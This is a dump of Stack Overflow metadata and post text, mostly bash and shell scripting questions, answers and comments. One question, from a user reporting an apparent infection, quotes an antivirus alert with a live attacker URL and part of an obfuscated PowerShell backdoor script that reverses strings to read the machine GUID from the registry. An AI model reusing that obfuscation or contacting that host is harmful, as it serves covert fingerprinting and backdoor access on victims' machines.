score: 0
type: Comment

time
type: Tag
tags question: http://stackoverflow.com/q/76886382
tag name: time
tags question: http://stackoverflow.com/q/77512588
tags question: http://stackoverflow.com/q/77638608

http://stackoverflow.com/comment/135828161
comment on: http://stackoverflow.com/q/77046907
type: QuestionComment
type: Comment
score: 0
has text: We're upgrading the DB to 19c and then migrating directories. Can we clone only the directories.

process-substitution
tags question: http://stackoverflow.com/q/76972787
type: Tag
tag name: process-substitution

http://stackoverflow.com/comment/135555244
type: QuestionComment
type: Comment
has text: I thought of `comm`, too, @CharlesDuffy, but at first I supposed that the lines must be context sensitive, such that sorting the files as required by `comm` is not viable. That supposition was based entirely on the OP's choice of `diff`, however, and I agree that if `comm` would in fact serve the purpose then it is a better choice.
score: 0
comment on: http://stackoverflow.com/q/76893303

http://stackoverflow.com/comment/136095439
score: 0
has text: I agree with @PatrickJanser - allowing www-data to sudo w/out password is definitely for troubleshooting only. Did you try the suggestions from the comments mentioned above? What was the outcome?
type: Comment
comment on: http://stackoverflow.com/a/77196684
type: AnswerComment

http://stackoverflow.com/comment/136046978
comment on: http://stackoverflow.com/q/77171901
type: QuestionComment
has text: What should be the output?
score: 2
type: Comment

http://stackoverflow.com/comment/136109365
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77205722
has text: @jhnc Thanks for answers. I wanted to make one point. My second finding is to write the paths to the .sql files into sql_script.txt so I can execute them on another job (gitlab ci pipeline). And I need the job to fail if some file could not be found in the current directory.

http://stackoverflow.com/comment/136069761
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77184696
has text: From bash manual: _`break [n]`: Exit from within a for, while, until, or select loop. If n is specified, break n levels. n must be >= 1. If n is greater than the number of enclosing loops, all enclosing loops are exited. The return value is 0 unless n is not greater than or equal to 1._

http://stackoverflow.com/comment/136017816
comment on: http://stackoverflow.com/q/77155640
type: QuestionComment
type: Comment
has text: I see fancy non-ASCII smart quotes being used to mark a string in that JSON, making it invalid...
score: 0

http://stackoverflow.com/q/77070425
score: 1
accepted answer: http://stackoverflow.com/a/77070684
has answer: http://stackoverflow.com/a/77070684
has comment: http://stackoverflow.com/comment/135947753
upvote count: 2
has comment: http://stackoverflow.com/comment/135997728
tagged with: security
tagged with: powershell
has title: Powershell script running randomly (harmfull)
has comment: http://stackoverflow.com/comment/135868151
answer count: 1
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135947773
has body: so it happend the at random time on my day a powershell window pop and close right away, than my antivirus (norton) alerted me. Category: Intrusion Prevention Date & Time: 09/09/2023 02:29:12 Risk: High Activity: An intrusion attempt by 172.64.142.7 was blocked. Status: Blocked Recommended Action: No Action Required IPS Alert Name: System Infected: Trojan.Backdoor Activity 748 Default Action: No Action Required Action Taken: No Action Required Attacking Computer: 172.64.142.7, 80 Attacker URL: http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695 Destination Address: <mymachine><myip> Source Address: 172.64.142.7 Traffic Description: TCP, www-http Network traffic from http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695%5C%5C%5C matches the signature of a known attack. The attack was resulted from \DEVICE\HARDDISKVOLUME7\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE. To stop being notified for this type of traffic, in the Actions panel, click Stop Notifying Me. so i changed my powershell settings to transcript everypowershell sessions thats what it transcripted: ********************** Windows PowerShell transcript start Start time: 20230909022349 Username: \<myuser\> RunAs User: \<myuser\> Configuration Name: Machine: \<mymachine\>(Microsoft Windows NT 10.0.19045.0) Host Application: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Version 5.1 -s -NoLogo -NoProfile Process ID: 7128 PSVersion: 5.1.19041.3031 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031 BuildVersion: 10.0.19041.3031 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** PS\>\[Security.Cryptography.SHA256\]$sha = \[Security.Cryptography.SHA256\]::Create() $macguid = (Get-ItemProperty (((\[regex\]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$\_.value}) -join '')) -…
tagged with: network-programming
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135981852

http://stackoverflow.com/comment/136063052
type: Comment
score: 5
has text: You don't need sed or awk for that, all you need is `new_name="${base_name/_R1_001}"`. Please reduce your code to a **minimal** example, e.g. 3 lines, that can reproduce just the problem you're asking about, i.e. how to populate `new_name` from `$base_name`. Whatever problem your code has we can't easily see it due to all of the irrelevant code around the couple of lines where the problem actually occurs.
comment on: http://stackoverflow.com/q/77181016
type: QuestionComment

http://stackoverflow.com/a/77229523
answers question: http://stackoverflow.com/q/77228627
score: 0
has body: I would suggest using the FileSystemObject (https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object) The FileSystemObject is useful when you are directly working with files and folders. It also has methods that allow you to open Textfiles and read/write their content. I'd start trying OpenAsTextStream OpenTextFile WriteLine (JS files should work, since they are basically text files - but since I haven't used them with VBA before I can't say for certain)
type: Answer

http://stackoverflow.com/comment/135961949
comment on: http://stackoverflow.com/a/77121277
has text: I don't mean it doesn't work in noninteractive Bash, just that it's clunky and obscure, and there are better and more portable idioms you should probably prefer.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/77170094
has comment: http://stackoverflow.com/comment/136043913
type: Question
tagged with: shell
answer count: 1
has body: I am trying to get the value of the variable(combined variable and argument) num4=$dir_$2_$3_$date mv test.tar $dir$2_$3_$date var=$1,$2,$3,$4,$HOSE,$syncsvr1,$num4 echo $var &gt; value.txt I got all of the values inside var except num4. am I doing it wrong?
score: 0
has answer: http://stackoverflow.com/a/77176514
accepted answer: http://stackoverflow.com/a/77176514
has title: shell how to capture variable value
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136043909

http://stackoverflow.com/q/77069279
accepted answer: http://stackoverflow.com/a/77084980
downvote count: 0
tagged with: bash
has answer: http://stackoverflow.com/a/77070447
tagged with: amazon-ec2
upvote count: 1
favorite count: 0
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77070447
type: Question
tagged with: shell
has title: Cannot activate conda environment on remote with ssh command
score: 1
has answer: http://stackoverflow.com/a/77084980
has body: I am writing a bash shell script that I can run on my local computer to update and redeploy a simple app hosted on an AWS E2 instance. I am having trouble with one line in particular: I cannot seem to activate a conda environment within the ssh command. ssh -i $private_key_file $public_dns "conda activate ENVIRONMENT_NAME" Returns: bash: line 1: conda: command not found However, if I ssh in with ssh -i $private_key_file $public_dns and then run conda activate ENVIRONMENT_NAME separatly this works fine. What is happening? All other commands in my shell script are working fine with the ssh -i $private_key_file $public_dns "COMMAND" syntax. My instance is running Ubuntu 22.04 if relevant.
tagged with: conda
linked to: http://stackoverflow.com/q/820517
answer count: 2

http://stackoverflow.com/a/77190915
upvote count: 2
has comment: http://stackoverflow.com/comment/136081085
answers question: http://stackoverflow.com/q/77190844
has comment: http://stackoverflow.com/comment/136081186
has comment: http://stackoverflow.com/comment/136081193
type: Answer
has comment: http://stackoverflow.com/comment/136081050
has comment: http://stackoverflow.com/comment/136080925
has comment: http://stackoverflow.com/comment/136081017
downvote count: 0
has comment: http://stackoverflow.com/comment/136080974
has comment: http://stackoverflow.com/comment/136080964
has comment: http://stackoverflow.com/comment/136081112
accepted answer of: http://stackoverflow.com/q/77190844
type: AcceptedAnswer
score: 2
has body: The reason you need -v in #2 is because you're using command substitution. So it executes declare -f my_bash_function, which outputs the function definition. This is then substituted into the bash -c argument, which makes the subshell execute the code that defines the function. When you add -v it prints the commands that it's executing, so you see the function definition. The reason that #3 doesn't work is that the command substitution $(declare -f {}) is being performed by the original shell, not the shell started by xargs. So it's looking for a function named {}, which doesn't exist. It seems like you're trying to use $(declare -f my_bash_function) to export the function to the subshell. You can use export -f my_bash_function to put the function in the environment, and it will be exported automatically.

http://stackoverflow.com/q/77198302
has comment: http://stackoverflow.com/comment/136093859
has title: Running a bash script that includes java commands from a python program
has comment: http://stackoverflow.com/comment/136093798
has comment: http://stackoverflow.com/comment/136094662
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/136093785
tagged with: shell
type: UnansweredQuestion
tagged with: python-os
tagged with: git-bash
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136096258
tagged with: python
has comment: http://stackoverflow.com/comment/136104702
has comment: http://stackoverflow.com/comment/136093812
has comment: http://stackoverflow.com/comment/136104728
has comment: http://stackoverflow.com/comment/136093808
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/136093826
has comment: http://stackoverflow.com/comment/136093829
has comment: http://stackoverflow.com/comment/136093820
has body: I have java code corresponding to a policy mining algorithm in a repository and have to execute this using commands on the git bash terminal (Using a Windows PC). I have generated test data and stored it in a file (named temp_check), local to the above mentioned repository. I need help in writing a python program that executes the mining algorithm using the generated input on the git bash terminal on Windows. While the commands mentioned in the bash_script.sh run successfully when entered manually, they throw an error when called through the python program. PS:- The java code is publicly available and an implementation of a paper. I just need to use this code as a black box in order to get the corresponding output I have pasted below the contents of the files I have written till now and the corresponding error messages I got. Python Script import os import subprocess os.environ['PATH'] = 'C:/Program Files/Java/jdk-15.0.1/bin/java.exe' + os.environ['PATH'] bash_command = "./bash_script.sh" subprocess.run(["bash", "-c", bash_command]) bash_script.sh #!/bin/bash # Compile ./compile.sh # Run using the input file ./run -m ../case-studies/temp_check.abac -verbose >> temp_output.txt compile.sh (Already present in the repo) #!/bin/bash if [ ! -e "bin" ]; then mkdir bin fi cd src/ if [ "${OS}" = "Windows_NT" ]; then # on Microsoft Windows, use semicolon as a separator in classpath. javac -cp "../lib/commons-math-2.2.jar;../lib/commons-math3-3.3.jar;." -d ../bin edu/dar/util/*.java javac -cp "../lib/commons-math-2.2.jar;../lib/commons-math3-3.3.jar;." -d ../bin edu/dar/algo/*.java else # on other OSs, use colon as a separator in classpath. javac -cp "../lib/commons-math-2.2.jar:../lib/commons-math3-3.3.jar:." -d ../bin edu/dar/util/*.java javac -cp "../lib/commons-math-2.2.jar:../lib/commons-math3-3.3.jar:." -d ../bin edu/dar/algo/*.java fi; run (Already present in the repo) #!/bin/bash cd bin java -cp "../lib/commons-math-2.2.jar;../lib/commons-math3-3.3.jar;." edu.dar.algo.…

http://stackoverflow.com/comment/136170143
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: I am pretty sure I input the correct format for 6:7.400. If I use the 1st codes, and manually insert the #s into src_txt = Array("6:7.400", "12:6.500", "24:7.000"), and then change the values in range D2:D4 for exmple, 6:1.000, 12:2.000, 24:3.000, and run it. my .js files will be updated with new values. but the 2nd codes neither update the value in .js nor change the values in range E2:E4.
type: Comment
score: 0

http://stackoverflow.com/comment/135910190
comment on: http://stackoverflow.com/q/77095262
type: QuestionComment
type: Comment
score: 0
has text: You already have a shell script. Simply place `#!/usr/bin/env/python` on the top line

http://stackoverflow.com/q/77161159
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77161224
tagged with: scripting
has title: Why does `if [false]` evaluate to true but `if false` doesn't in bash?
linked to: http://stackoverflow.com/q/49849957
accepted answer: http://stackoverflow.com/a/77161224
downvote count: 0
tagged with: bash
type: Question
duplicate of: http://stackoverflow.com/q/36371221
has comment: http://stackoverflow.com/comment/136028116
score: 3
has comment: http://stackoverflow.com/comment/136027777
has body: Running this script in bash will print "hello" if [ false ]; then echo hello fi Running this script in bash will print "hello" if false ; then echo hello fi Only when I take away the brackets, bash will not print "hello" if false; then echo hello fi I thought the entire premise of the brackets was to enable additional functionality like && and ||, why is it being counter-productive in this case? edit: is this what you mean by bash quoting? still prints "hello" test=false if "$test" ; then echo hello fi
upvote count: 3
tagged with: boolean
tagged with: sh
linked to: http://stackoverflow.com/q/36371221
tagged with: shell
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/135954951
comment on: http://stackoverflow.com/q/77115001
type: Comment
has text: @Sourav Kannantha B No. It is handled by a TTY driver in the kernel. And it is the driver, who sends the signal.
score: 1
type: QuestionComment

http://stackoverflow.com/q/77088400
tagged with: linux
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/77088437
type: UnansweredQuestion
tagged with: dockerfile
has comment: http://stackoverflow.com/comment/135898205
tagged with: docker
score: 0
has body: I need to access the test project which is in the same solution but the docker file is in src project and inside the docker file I need to run test cases. ############# FROM mcr.microsoft.com/dotnet/sdk:6.0 AS build-env WORKDIR /app COPY ../test . RUN ls ## Copy the applications .csproj COPY /*.csproj . COPY . /app RUN ls ## Restore packages RUN dotnet restore "./src/src.csproj" -s "https://api.nuget.org/v3/index.json" ## Copy everything else COPY. /app RUN ls getting error ERROR: "/test" not found: not found
tagged with: shell
has title: Need to access test project in docker file (which is in src project)
answer count: 1
favorite count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/27068596
downvote count: 1

http://stackoverflow.com/q/77170124
has body: I want to get the size of the file in MB and need to have only digits in the output in linux. Below is what I've tried ls -l --b=M test.csv | cut -d &quot; &quot; -f5 Output I'm getting as 91M but I need the output as 91 only. stat -c %s test.csv Output is 94567551 which is in bytes but I want the size to be displayed in MB
tagged with: bash
has comment: http://stackoverflow.com/comment/136043470
type: AnsweredQuestion
has title: Get the size of the file in MB having only digits in linux
has answer: http://stackoverflow.com/a/77170154
has comment: http://stackoverflow.com/comment/136050589
upvote count: 1
has comment: http://stackoverflow.com/comment/136045218
tagged with: unix
has answer: http://stackoverflow.com/a/77170849
score: 0
type: Question
accepted answer: http://stackoverflow.com/a/77170263
answer count: 4
has comment: http://stackoverflow.com/comment/136043455
tagged with: shell
tagged with: linux
has answer: http://stackoverflow.com/a/77170263
favorite count: 0
downvote count: 1
has answer: http://stackoverflow.com/a/77170238
possible better answer: http://stackoverflow.com/a/77170154

http://stackoverflow.com/q/77196656
has answer: http://stackoverflow.com/a/77197310
tagged with: bash
upvote count: 1
has comment: http://stackoverflow.com/comment/136091047
has comment: http://stackoverflow.com/comment/136091097
type: AnsweredQuestion
has title: How can I run a command from the directory I've cd'd into
accepted answer: http://stackoverflow.com/a/77196763
has body: I'm trying to loop through some directories and run a command from within each. The cd seems to work (when I check with echo $dir), but myScript.py gets executed from the parent directory (as if cd didn't work). for dir in $DIR_PROJECTS do cd $dir &amp;&amp; /scripts/myScript.py -f $dir.xml done
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/136097067
has answer: http://stackoverflow.com/a/77196763
has comment: http://stackoverflow.com/comment/136091034
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/77197310
has comment: http://stackoverflow.com/comment/136091602
answer count: 2
has comment: http://stackoverflow.com/comment/136091821
downvote count: 0

http://stackoverflow.com/comment/135958179
type: AnswerComment
comment on: http://stackoverflow.com/a/77122428
has text: So kernel don't have a pid?
score: 0
type: Comment

http://stackoverflow.com/a/77211884
has comment: http://stackoverflow.com/comment/136134682
has body: The result of the date command ends with \n (break line). You can try this: DATE= date +"[%d.%m.%Y]"|tr -d "\n" FILE_PREFIX="V_Articles_" FILE_EXTENSION=".json" echo "$FILE_PREFIX$DATE_$FILE_EXTENSION"
downvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77211820
score: -1
upvote count: 0

http://stackoverflow.com/comment/136077135
type: QuestionComment
comment on: http://stackoverflow.com/q/77188462
type: Comment
has text: make sure that the repository you are using (`docker.xxx.com/ubi8/ubi-minimal`) contains the `shadow-utils` package, and if does not contain it, you can try updating the repository or adding a different repository that provides this package,it can be done by modifying the `add-ubi8-repo.sh` script or by adding a new script to add the necessary repository.
score: 1

http://stackoverflow.com/comment/135889616
type: Comment
comment on: http://stackoverflow.com/q/77083171
score: 0
type: QuestionComment
has text: `mdfind "ProjName" kind:folder | head -n 1` worked, thank you! I'll post it as the answer.

http://stackoverflow.com/q/77148106
has body: I am doing a project for my school in C, which consists of building a minishell, a small version of Shell. I already have done all the parsing and can execute single commands. However, when I try to work with pipes, I get all sorts of different behavior. I need to use the readline function to get input, and I can't make it work with pipes for my life. I made a small code just to try to fix the behavior of pipes and readline: void ft_execvp(char **args) { execvp(args[0], args); } void ft_pipes_executer(char *cmd, int index, int last) { pid_t pid; int pipefd[2]; // SPLIT CMD char **args = ft_split(cmd, ' '); // CREATE PIPE if (pipe(pipefd) == -1) exit (1); // CREATE FORK pid = fork(); if (pid < 0) exit (1); // CHILD PROCESS else if (pid == 0) { if (index == 0) dup2(pipefd[1], STDOUT_FILENO); else if (index == last) close(pipefd[0]); else { close(pipefd[0]); dup2(pipefd[1], STDOUT_FILENO); } ft_execvp(args); } // PARENT PROCESS else { if (index == 0) { close(pipefd[1]); dup2(pipefd[0], STDIN_FILENO); } else if (index == last) ; else { close(pipefd[1]); dup2(pipefd[0], STDIN_FILENO); } waitpid(pid, NULL, 0); } } char **ft_command_creator(char *input) { int i = 0; int n_pipes = 0; while (input[i]) { if (input[i] == '|') n_pipes++; i++; } char **commands = (char **)malloc(sizeof(char *) * (n_pipes + 1)); if (!commands) exit (1); i = 0; char *tmp = input; while (i < n_pipes + 1) { if (ft_strchr(tmp, '|') != NULL) { commands[i] = ft_substr(tmp, 0, strchr(tmp, '|') - tmp); if (!commands[i]) exit (1); tmp = strchr(tmp, '|') + 2; } else if (strchr(tmp, '|') == NULL) { commands[i] = strdup(tmp); if (!commands[i]) exit (1); } i++; } int last_cmd_len = strlen(commands[n_pipes]); if (last_cmd_len > 0 && commands[n_pipes][last_cmd_len - 1] == '\n') commands[n_pipes][last_cmd_len - 1] = '\0'; commands[i] = NULL; return (commands); } void ft_free(char *input, char **cmds) { free(input); int i = 0; while (cmds[i]) { free(cmds[i]); i++; } free(cmds); } int main(void) { char *input; cha…
has title: Trying to execute piped commands that are taken from a readline function
upvote count: 1
has comment: http://stackoverflow.com/comment/136004174
has comment: http://stackoverflow.com/comment/136075048
has comment: http://stackoverflow.com/comment/136004470
type: Question
has comment: http://stackoverflow.com/comment/136004340
linked to: http://stackoverflow.com/q/25385173
tagged with: shell
has comment: http://stackoverflow.com/comment/136004358
type: UnansweredQuestion
tagged with: readline
has comment: http://stackoverflow.com/comment/136075002
has comment: http://stackoverflow.com/comment/136004188
favorite count: 0
answer count: 0
linked to: http://stackoverflow.com/q/8389033
downvote count: 0
tagged with: pipe
tagged with: http://stackoverflow.com/tag/c
score: 1

http://stackoverflow.com/comment/136005826
has text: @xgqfrms : Well, the only question I found is "what's going on", and the answer is that you did not use any of the three possibilities I am explaining here. What exactly are you missing?
type: AnswerComment
comment on: http://stackoverflow.com/a/77147775
score: 0
type: Comment

http://stackoverflow.com/comment/136097294
type: AnswerComment
comment on: http://stackoverflow.com/a/77196684
has text: @volkerschulz Oh, thanks! Great idea! I'll do that in a moment. I'll quickly run a *Vagrant* box with *Ubuntu 22.04* so that we have a similar config. I'll also add this to my personal doc, as it can be handy, as you say :-)
type: Comment
score: 0

http://stackoverflow.com/q/77102508
has title: How to call a variable in a date-command with a set time-zone inside a script
answer count: 2
has answer: http://stackoverflow.com/a/79181865
has comment: http://stackoverflow.com/comment/135922896
has answer: http://stackoverflow.com/a/77104098
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135924506
has comment: http://stackoverflow.com/comment/135924838
score: 0
tagged with: shell
type: UnansweredQuestion
has body: I am trying convert user input/prompted dates into unix-timestamps and need to implement a convertion from a timezone (Europe/Berlin) to UTC. I've got the command to work, when a set date is given. For testing purpose I created a small script reading the input (date) from a user and I want to convert the date saved in that variable to be converted, but I struggle to call the variable correctly. Here is the code to the small script: #!/bin/bash read -p "Datum eingeben: " date datum=$(date -d 'TZ="UTC" $date' +%s) echo $datum I've tried different "quotations" trying to pass the variable correctly, but it either gets detected as a command, or as a invalid date. Current Error message is: date: invalid date ‘TZ="UTC" $date’

http://stackoverflow.com/comment/136104583
comment on: http://stackoverflow.com/q/77204152
score: 0
type: QuestionComment
has text: oh, that's a typo, fixed it, still got the same result. not working
type: Comment

http://stackoverflow.com/a/77104098
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/77102508
type: Answer
has body: @Zimon, With all the respect to the comments, and to summarize, I believe this would do the job for you. Details Although it works, I'd recommend using user-defined variable names to avoid confusion such as _date to differ from the date command. Since you are using +%s and from the date man page it is calculating the seconds "seconds since 1970-01-01 00:00:00 UTC" based on your provided date & time. So if you still think you need to mention it just add TZ=UTC to the left side of the date command - so it will be evaluated only for that command. #!/bin/bash read -p "Datum eingeben: " _date datum=$(TZ='UTC' date -d "$_date" +%s) echo $datum Bonus If you need to include a parameter in double quotes where you already have outer double quotes, then you can escape the inner double quotes by a Backslash \ character like in the following: Suppose you need date -d "$date somthingElse="$value"" +%s The currect syntax in BASH will be date -d "$date somthingElse=\"$value\"" +%s
score: 2

http://stackoverflow.com/comment/135964444
has text: Thanks @ufopilot for the answer, Your logic is working fine except one condition, If input file having disk-space 9% then it is also printed in output file but we want only those rows which is having >=80% Could you please help me to fix this?
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77122764

http://stackoverflow.com/comment/136011925
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77149598
has text: Thanks for your reply, the string content is fundementally random, it could contain any ASCI character. As for AWK, i have no objection on using it if you have such a solution - i would be binaraly grateful, thanks again
type: Comment

http://stackoverflow.com/comment/136056896
has text: Run your command with `set -v` and `set -x` turned on, so that you can see better what is actually being executed.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77175255
type: Comment

http://stackoverflow.com/comment/135961556
type: Comment
comment on: http://stackoverflow.com/a/77121447
type: AnswerComment
score: 0
has text: @david-maze Thanks. But the default shell seems to be dash or bash and I could use $_ as shown below: ``` # echo $0 sh # echo $_ sh # which sh /usr/bin/sh # ls -l /usr/bin/sh lrwxrwxrwx 1 root root 4 Mar 23 2022 /usr/bin/sh -> dash ```

http://stackoverflow.com/a/77084980
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/77069279
type: AcceptedAnswer
has body: After some more searching, I found my .bashrc file contained the following lines: # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac I solved this problem by simply moving my conda block above this line. I found this from the "community wiki"-owned response to this question. What I tried: Sourcing my .bashrc file prior to running conda activate ENVIRONMENT_NAME. This did not solve the issue, apparently because it was still leaving the script on my non-interactive session. Sourcing .bashrc in a .bash_profile file, which is recommended as another top answer in the thread linked above. While this does work in sourcing .bashrc, it still exists at the non-interactive condition.
accepted answer of: http://stackoverflow.com/q/77069279

http://stackoverflow.com/q/77094897
has title: why does the 'head' command read the string starting with '\0' correctly, with fgets doing wrong?
has answer: http://stackoverflow.com/a/77096427
answer count: 3
tagged with: head
score: 0
type: Question
tagged with: shell
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135912767
tagged with: command
has answer: http://stackoverflow.com/a/77095098
has answer: http://stackoverflow.com/a/77095042
has body: here the file I wanted to read out, with some unexpected '\0' inside 1 2 Mon Aug 28 14:29:29 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 1 ont-info 3 Mon Aug 28 14:29:33 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 1 ont-unbound 4 Mon Aug 28 14:29:41 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 5 Mon Aug 28 14:29:43 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 6 Mon Aug 28 14:29:44 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 7 Mon Aug 28 14:29:47 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 8 Mon Aug 28 14:29:51 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 9 Mon Aug 28 14:29:53 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 10 Mon Aug 28 14:31:18 2023 admin[::ffff:192.168.7.116]:59927: brief-show slot 2 ont-info 11 Mon Aug 28 14:33:50 2023 admin[::ffff:192.168.7.116]:59927: exi 12 Mon Aug 28 14:33:51 2023 admin[::ffff:192.168.7.116]:59927: exi 13 Mon Aug 28 14:33:54 2023 admin[::ffff:192.168.7.116]:59927: save config 14^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@Mon Aug 28 14:37:00 2023 admin[::ffff:192.168.7.116]:60207: show slot 15 Mon Aug 28 14:37:01 2023 admin[::ffff:192.168.7.116]:60207: show slot 16 Mon Aug 28 14:37:03 2023 admin[::ffff:192.168.7.116]:60207: show slot 17 Mon Aug 28 14:37:07 2023 admin[::ffff:192.168.7.116]:60207: show slot 18 Mon Aug 28 14:37:21 2023 admin[::ffff:192.168.7.116]:60207: show slot 19 Mon Aug 28 14:37:22 2023 admin[::ffff:192.168.7.116]:60207: show slot 20 Mon Aug 28 14:37:27 2023 admin[::ffff:192.168.7.116]:60207: show slot here is my code with two ways to read it out to the shell, one using fgets(), and the other using linux 'head' cmd; 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 const int n = 20; 6 7 #if 0 8 int main(void) 9 { 10 FILE *fp = NULL; 11 char l…
tagged with: http://stackoverflow.com/tag/c

http://stackoverflow.com/comment/135930759
has text: @BenjaminW. 0000000 f0 9f ab a2 0000004
comment on: http://stackoverflow.com/q/77107084
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/77171543
has comment: http://stackoverflow.com/comment/136047371
has comment: http://stackoverflow.com/comment/136080043
type: UnansweredQuestion
answer count: 2
tagged with: compare
has comment: http://stackoverflow.com/comment/136061179
tagged with: bash
has answer: http://stackoverflow.com/a/77171622
has title: bash - compare integer value
has body: I am trying to trap arrow keys without the user hitting the "return" key. The program works except for my attempt to catch the "esc" key. I have tried to compare using everything I can think of with out success. Including string and numeric compares; with and without quotes; single vs double brackets, etc. shellcheck does not report any problems. Either nothing happens (the esc key is not traped) or I get a syntax error; "./key-no-return-printf.sh: line 37: [[: ': syntax error: operand expected (error token is "'")" i.e. $VALUE -eq 27, $VALUE == 27, $VALUE = 27, "$VALUE" -eq "27", etc. #! /usr/bin/bash clear function getkey () { read -rs -n1 -t.001 KEYIN # read 1 chr, no echo, no delay VALUE=\'$KEYIN if $VALUE -eq 27 ; then # trap esc key printf "esc caught\n" fi } while :; do # --- Infinite loop --- KEYIN="" VALUE=0 getkey if [[ $KEYIN == [Qq] ]]; then exit; fi if $KEYIN != "" ; then printf "%s : %d\n" "$KEYIN" "$VALUE"; fi done
score: 0
has answer: http://stackoverflow.com/a/77174155
type: Question
tagged with: testing
tagged with: shell

http://stackoverflow.com/q/77129396
has title: Shell or Bash script: Input a string line from a text file and search it recursively in a directory
has comment: http://stackoverflow.com/comment/135975182
has comment: http://stackoverflow.com/comment/135979085
score: 0
tagged with: grep
has comment: http://stackoverflow.com/comment/135971251
has comment: http://stackoverflow.com/comment/135977714
tagged with: shell
has comment: http://stackoverflow.com/comment/135978328
has comment: http://stackoverflow.com/comment/136037816
has body: I have a huge text file containing strings per line (properly edited with no empty lines or leading or trailing spaces) example input file WeatherNation.us AccuWeatherNOW.us FashionTVUHD.fr some upper case and lower case letters but without any blank.<country-tld> so on I want to search files containing these words (one by one) in a directory having lots of directories and xml files...the working command for single search is grep -irwn "WeatherNation.us" /home/user/folder/ it displays files with paths and line numbers. Search has to performed under /home/user/folder/ that has many folders say..fold1 fold2 fold3 etc. and each folder has many files say..1.xml 2.xml 3.xml etc. grep -irwn "WeatherNation.us" /home/user/folder/ can returns output from many files. Example entry in 2.xml inside fold3 and 5.xml inside fold2 also some search return only 1 entry or nothing in case string is not found. I have tried to make a script as follows to automate all the searches #!/bin/bash file="in.txt" while read -r line; do grep -irwn "$line" /home/user/folder/ >> out.txt done <$file to store the result for each search in the out.txt file...but the script is not working & out.txt file is empty. Tried many other options grep -irwn ""$line"" /home/user/folder I am using $line because echo "$line" inside the while do loop in the above script correctly displays all the inputs per line, but I don't know how to pass it to the grep command. I am open to all other practical solutions, using awk sed etc.
has comment: http://stackoverflow.com/comment/135970963
answer count: 1
has comment: http://stackoverflow.com/comment/135978215
linked to: http://stackoverflow.com/q/45772525
has answer: http://stackoverflow.com/a/77167116
has comment: http://stackoverflow.com/comment/135978969
has comment: http://stackoverflow.com/comment/135978997
has comment: http://stackoverflow.com/comment/135978210
has comment: http://stackoverflow.com/comment/135971295
has comment: http://stackoverflow.com/comment/135979264
has comment: http://stackoverflow.com/comment/135971684
type: Question
has comment: http://stackoverflow.com/comment/135977953
has comment: http://stackoverflow.com/comment/135977799
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135977705
has comment: http://stackoverflow.com/comment/135978364
tagged with: search
has comment: http://stackoverflow.com/comment/135977693
has comment: http://stackoverflow.com/comment/135977828

aws-sam
tags question: http://stackoverflow.com/q/77082545
type: Tag
tag name: aws-sam

http://stackoverflow.com/q/77171901
has comment: http://stackoverflow.com/comment/136046965
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/77182170
accepted answer: http://stackoverflow.com/a/77182170
has comment: http://stackoverflow.com/comment/136049418
type: Question
tagged with: shell
possible better answer: http://stackoverflow.com/a/77182077
has comment: http://stackoverflow.com/comment/136061292
score: 1
has title: recursively delete all required keys in a JSON schema
tagged with: jq
upvote count: 1
